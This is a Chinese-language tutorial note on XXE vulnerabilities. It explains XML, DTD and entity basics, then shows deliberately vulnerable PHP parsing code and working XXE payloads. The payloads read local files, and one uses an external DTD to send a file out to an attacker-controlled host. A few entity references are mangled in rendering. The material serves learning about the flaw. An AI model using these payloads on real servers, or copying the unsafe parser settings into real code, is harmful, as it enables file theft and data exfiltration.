XXE漏洞
本文只是對XXE漏洞學習,參考多篇文章
一、XML基礎
? XML 用于編輯電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據,是一種允許用戶的對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義、文檔元素。
<?xml version="1.0" encoding="ISO-8859-1"?> <!--xml聲明 定義xml版本1.0和所使用的編碼 ISO-8859-1-->
<note> <!--根元素--> <!--之后為4個子元素(to,from,heading,body)-->
<to>George</to>
<form>John</form>
<heading>Reminder</heading>
<body>11111</body>
</note> <!--根元素結尾-->
因為只為學習漏洞,不對xml進行詳細學習。
http://www.w3school.com.cn/x.asp可以在此查看詳細內容
而XXE漏洞相關的則為DTD
DTD
? DTD 文檔類型定義,可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。
? DTD可以成行地聲明XML文檔中,也可以作為一個外部引用。
1. 內部聲明DTD
假如DTD 被包含在XML源文件中,應當通過下面的語法包裝在一個DOCTYPE聲明中
<!DOCTYPE 根元素[元素聲明]>
<?xml version="1.0"?> <!--xml聲明 定義xml版本1.0-->
<!DOCTYPE note[ <!--定義此文檔為note類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note 元素有4個元素 “to、from、heading、body-->
<!ELEMENT to (#PCDATA)> <!--定義to 元素為 “#PCDATA”類型 以下如此-->
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>1111</body>
</note>
2. 引用外部
假如DTD 位于XML源文件外部,那么應該通過下面的語言被封裝在一個DOCTYOE定義中
<!DOCTYPE> 根元素 SYSTEM “文件名”>
與上 面內部聲明 xml文件差不多,但是擁有一個外部的DTD
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
包含DTD的 note.dtd 文件
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
3. 其中還有一種應用的格式為
<!DOCTYPE 根元素 SYSTEM "DTD文件"[定義內容]>
DTD -實體
實體是用于定義引用普通文本或特殊字符的快捷方式的變量。實體引用是對(實體)的引用。(實體)可以在內部或者外部進行聲明
1. 內部實體聲明
<!ENTITY 實體名稱 “實體的值”>
如:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;©right;</author>
注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (??。
2. 一個外部實體聲明
<!ENTITY 實體名稱 SYSYTEM "URL">
如:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;©right;</author>
XML實體分為 普通實體和參數實體 。上面介紹的為普通實體 使用場合則為XML文檔中

二、XML外部實體注入(XML External Entity XEE)
? 當允許引用外部實體時候,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口等危害。
有回顯讀取本地敏感文件
普通實體引用外部實體
服務器 xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

參數實體引用外部實體
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % a SYSTEM "192.168.11.57:8888/outdtd.dtd"> %a;]>
<creds>&xxe;</creds>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">
無回顯讀取本地的敏感文件
? 可以看到在上面兩個實驗中,都是有顯示,而另外一種情況無回顯
服務端 xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
1.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
Payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
利用
在上面當中一直使用的為 file 協議 。在真實情況中應該清楚為什么平臺,能夠使用什么協議。

三、總結
可以看出 XXE 漏洞,知識點涉及較多內容。如 其它利用 危害 Dos拒絕服務、內網主機探測 、內網主機端口掃描。 由于內容較多 之后在一一更新補充。
浙公網安備 33010602011771號